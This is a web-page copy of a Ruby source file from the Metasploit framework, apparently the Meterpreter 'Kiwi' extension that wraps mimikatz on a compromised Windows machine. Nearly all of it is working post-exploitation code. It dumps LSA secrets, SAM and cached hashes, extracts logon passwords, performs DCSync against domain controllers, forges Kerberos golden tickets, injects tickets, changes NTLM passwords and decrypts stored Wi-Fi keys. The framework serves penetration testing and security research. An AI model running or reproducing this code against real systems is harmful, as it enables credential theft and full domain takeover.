Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
Views: 11791
# -*- coding: binary -*-12require 'rex/post/meterpreter/extensions/kiwi/tlv'3require 'rex/post/meterpreter/extensions/kiwi/command_ids'4require 'rexml/document'5require 'set'67module Rex8module Post9module Meterpreter10module Extensions11module Kiwi1213###14#15# Kiwi extension - grabs credentials from windows memory.16#17# Benjamin DELPY `gentilkiwi`18# http://blog.gentilkiwi.com/mimikatz19#20# extension converted by OJ Reeves (TheColonial)21###2223class Kiwi < Extension2425def self.extension_id26EXTENSION_ID_KIWI27end2829#30# Typical extension initialization routine.31#32# @param client (see Extension#initialize)33def initialize(client)34super(client, 'kiwi')3536client.register_extension_aliases(37[38{39'name' => 'kiwi',40'ext' => self41},42])4344# by default, we want all output in base64, so fire that up45# first so that everything uses this down the track46exec_cmd('"base64 /in:on /out:on"')47end4849def exec_cmd(cmd)50request = Packet.create_request(COMMAND_ID_KIWI_EXEC_CMD)51request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)52response = client.send_request(request)53output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)54# remove the banner up to the prompt55output = output[output.index('mimikatz(powershell) #') + 1, output.length]56# return everything past the newline from here57output[output.index("\n") + 1, output.length]58end5960def password_change(opts)61cmd = "lsadump::changentlm /user:#{opts[:user]}"62cmd << " /server:#{opts[:server]}" if opts[:server]63cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]64cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]65cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]66cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]6768output = exec_cmd("\"#{cmd}\"")69result = {}7071if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m72result[:old] = $173end74if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m75result[:new] = $176end7778if output =~ /^ERROR/m79result[:success] = false80if output =~ /^ERROR.*SamConnect/m81result[:error] = 'Invalid server.'82elsif output =~ /^ERROR.*Bad old/m83result[:error] = 'Invalid old password or hash.'84elsif output =~ /^ERROR.*SamLookupNamesInDomain/m85result[:error] = 'Invalid user.'86else87result[:error] = 'Unknown error.'88end89else90result[:success] = true91end9293result94end9596def dcsync(domain_user)97exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")98end99100def dcsync_ntlm(domain_user)101result = {102ntlm: '<NOT FOUND>',103lm: '<NOT FOUND>',104sid: '<NOT FOUND>',105rid: '<NOT FOUND>'106}107108output = dcsync(domain_user)109return nil unless output.include?('Object RDN')110111output.lines.map(&:strip).each do |l|112if l.start_with?('Hash NTLM: ')113result[:ntlm] = l.split(' ')[-1]114elsif l.start_with?('lm - 0:')115result[:lm] = l.split(' ')[-1]116elsif l.start_with?('Object Security ID')117result[:sid] = l.split(' ')[-1]118elsif l.start_with?('Object Relative ID')119result[:rid] = l.split(' ')[-1]120end121end122123result124end125126def lsa_dump_secrets127exec_cmd('lsadump::secrets')128end129130def lsa_dump_sam131exec_cmd('lsadump::sam')132end133134def lsa_dump_cache135exec_cmd('lsadump::cache')136end137138def get_debug_privilege139exec_cmd('privilege::debug').strip == "Privilege '20' OK"140end141142def creds_ssp143{ ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }144end145146def creds_livessp147{ livessp: parse_livessp(exec_cmd('sekurlsa::livessp')) }148end149150def creds_msv151{ msv: parse_msv(exec_cmd('sekurlsa::msv')) }152end153154def creds_wdigest155{ wdigest: parse_wdigest(exec_cmd('sekurlsa::wdigest')) }156end157158def creds_tspkg159{ tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }160end161162def creds_kerberos163{ kerberos: parse_kerberos(exec_cmd('sekurlsa::kerberos')) }164end165166def creds_all167output = exec_cmd('sekurlsa::logonpasswords')168{169msv: parse_msv(output),170ssp: parse_ssp(output),171livessp: parse_livessp(output),172wdigest: parse_wdigest(output),173tspkg: parse_tspkg(output),174kerberos: parse_kerberos(output)175}176end177178# TODO make sure this works as expected179def parse_livessp(output)180results = {}181lines = output.lines182183while lines.length > 0 do184line = lines.shift185186# search for an livessp line187next if line !~ /\slivessp\s:/188189line = lines.shift190191# are there interesting values?192while line =~ /\[\d+\]/193line = lines.shift194# then the next 3 lines should be interesting195livessp = {}1963.times do197k, v = read_value(line)198livessp[k.strip] = v if k199line = lines.shift200end201202if livessp.length > 0203results[livessp.values.join('|')] = livessp204end205end206end207208results.values209end210211def parse_ssp(output)212results = {}213lines = output.lines214215while lines.length > 0 do216line = lines.shift217218# search for an ssp line219next if line !~ /\sssp\s:/220221line = lines.shift222223# are there interesting values?224while line =~ /\[\d+\]/225line = lines.shift226# then the next 3 lines should be interesting227ssp = {}2283.times do229k, v = read_value(line)230ssp[k.strip] = v if k231line = lines.shift232end233234if ssp.length > 0235results[ssp.values.join('|')] = ssp236end237end238end239240results.values241end242243def parse_wdigest(output)244results = {}245lines = output.lines246247while lines.length > 0 do248line = lines.shift249250# search for an wdigest line251next if line !~ /\swdigest\s:/252253line = lines.shift254255# are there interesting values?256next if line.blank? || line !~ /\s*\*/257258# no, the next 3 lines should be interesting259wdigest = {}2603.times do261k, v = read_value(line)262wdigest[k.strip] = v if k263line = lines.shift264end265266if wdigest.length > 0267results[wdigest.values.join('|')] = wdigest268end269end270271results.values272end273274def parse_tspkg(output)275results = {}276lines = output.lines277278while lines.length > 0 do279line = lines.shift280281# search for an tspkg line282next if line !~ /\stspkg\s:/283284line = lines.shift285286# are there interesting values?287next if line.blank? || line !~ /\s*\*/288289# no, the next 3 lines should be interesting290tspkg = {}2913.times do292k, v = read_value(line)293tspkg[k.strip] = v if k294line = lines.shift295end296297if tspkg.length > 0298results[tspkg.values.join('|')] = tspkg299end300end301302results.values303end304305def parse_kerberos(output)306results = {}307lines = output.lines308309while lines.length > 0 do310line = lines.shift311312# search for an kerberos line313next if line !~ /\skerberos\s:/314315line = lines.shift316317# are there interesting values?318next if line.blank? || line !~ /\s*\*/319320# no, the next 3 lines should be interesting321kerberos = {}3223.times do323k, v = read_value(line)324kerberos[k.strip] = v if k325line = lines.shift326end327328if kerberos.length > 0329results[kerberos.values.join('|')] = kerberos330end331end332333results.values334end335336def parse_msv(output)337results = {}338lines = output.lines339340while lines.length > 0 do341line = lines.shift342343# search for an MSV line344next if line !~ /\smsv\s:/345346line = lines.shift347348# loop until we find the 'Primary' entry349while line !~ / Primary/ && !line.blank?350line = lines.shift351end352353# did we find something?354next if line.blank?355356msv = {}357# loop until we find a line that doesn't start with358# an asterisk, as this is the next credential set359loop do360line = lines.shift361if line.strip.start_with?('*')362k, v = read_value(line)363msv[k.strip] = v if k364else365lines.unshift(line)366break367end368end369370if msv.length > 0371results[msv.values.join('|')] = msv372end373end374375results.values376end377378def read_value(line)379if line =~ /\s*\*\s([^:]*):\s(.*)/380return $1, $2381end382383return nil, nil384end385386#387# List available kerberos tickets.388#389# @return [String]390#391def kerberos_ticket_list392exec_cmd('kerberos::list')393end394395#396# Use the given ticket in the current session.397#398# @param base64_ticket [String] Content of the Kerberos ticket to use as a Base64 encoded string.399# @return [void]400#401def kerberos_ticket_use(base64_ticket)402result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")403result.strip.end_with?(': OK')404end405406#407# Purge any Kerberos tickets that have been added to the current session.408#409# @return [void]410#411def kerberos_ticket_purge412result = exec_cmd('kerberos::purge').strip413'Ticket(s) purge for current session is OK' == result414end415416#417# Create a new golden kerberos ticket on the target machine and return it.418#419# @param opts [Hash] The options to use when creating a new golden kerberos ticket.420# @option opts [String] :domain_name Domain name.421# @option opts [String] :domain_sid SID of the domain.422# @option opts [Integer] :end_in How long to have the ticket last, in hours.423# @option opts [Array<Integer>] :group_ids IDs of the groups to assign to the user424# @option opts [Integer] :id ID of the user to grant the token for.425# @option opts [String] :krbtgt_hash The kerberos ticket granting token.426# @option opts [String] :user Name of the user to create the ticket for.427#428# @return [Array<Byte>]429#430def golden_ticket_create(opts={})431cmd = [432"\"kerberos::golden /user:",433opts[:user],434" /domain:",435opts[:domain_name],436" /sid:",437opts[:domain_sid],438" /startoffset:0",439" /endin:",440opts[:end_in] * 60,441" /krbtgt:",442opts[:krbtgt_hash],443"\""444].join('')445446if opts[:id]447cmd << " /id:" + opts[:id].to_s448end449450if opts[:group_ids]451cmd << " /groups:" + opts[:group_ids]452end453454output = exec_cmd(cmd)455456return nil unless output.include?('Base64 of file')457458saving = false459content = []460output.lines.map(&:strip).each do |l|461if l.start_with?('Base64 of file')462saving = true463elsif saving464if l.start_with?('====')465next if content.length == 0466break467end468content << l469end470end471472content.join('')473end474475#476# Access and parse a set of wifi profiles using the given interfaces477# list, which contains the list of profile xml files on the target.478#479# @return [Hash]480def wifi_parse_shared(wifi_interfaces)481results = []482483exec_cmd('"base64 /in:off /out:on"')484wifi_interfaces.keys.each do |key|485interface = {486:guid => key,487:desc => nil,488:state => nil,489:profiles => []490}491492wifi_interfaces[key].each do |wifi_profile_path|493cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""494output = exec_cmd(cmd)495496lines = output.lines497498profile = {499:name => nil,500:auth => nil,501:key_type => nil,502:shared_key => nil503}504505while lines.length > 0 do506line = lines.shift.strip507if line =~ /^\* SSID name\s*: (.*)$/508profile[:name] = $1509elsif line =~ /^\* Authentication\s*: (.*)$/510profile[:auth] = $1511elsif line =~ /^\* Key Material\s*: (.*)$/512profile[:shared_key] = $1513end514end515516interface[:profiles] << profile517end518519results << interface520end521exec_cmd('"base64 /in:on /out:on"')522523results524end525526#527# List all the wifi interfaces and the profiles associated528# with them. Also show the raw text passwords for each.529#530# @return [Array<Hash>]531def wifi_list532response_xml = exec_cmd('misc::wifi')533results = []534# TODO: check for XXE?535doc = REXML::Document.new(response_xml)536537doc.get_elements('wifilist/interface').each do |i|538interface = {539:guid => Rex::Text::to_guid(i.elements['guid'].text),540:desc => i.elements['description'].text,541:state => i.elements['state'].text,542:profiles => []543}544545i.get_elements('profiles/WLANProfile').each do |p|546interface[:profiles] << {547:name => p.elements['name'].text,548:auth => p.elements['MSM/security/authEncryption/authentication'].text,549:key_type => p.elements['MSM/security/sharedKey/keyType'].text,550:shared_key => p.elements['MSM/security/sharedKey/keyMaterial'].text551}552end553554results << interface555end556557return results558end559560end561562end; end; end; end; end563564565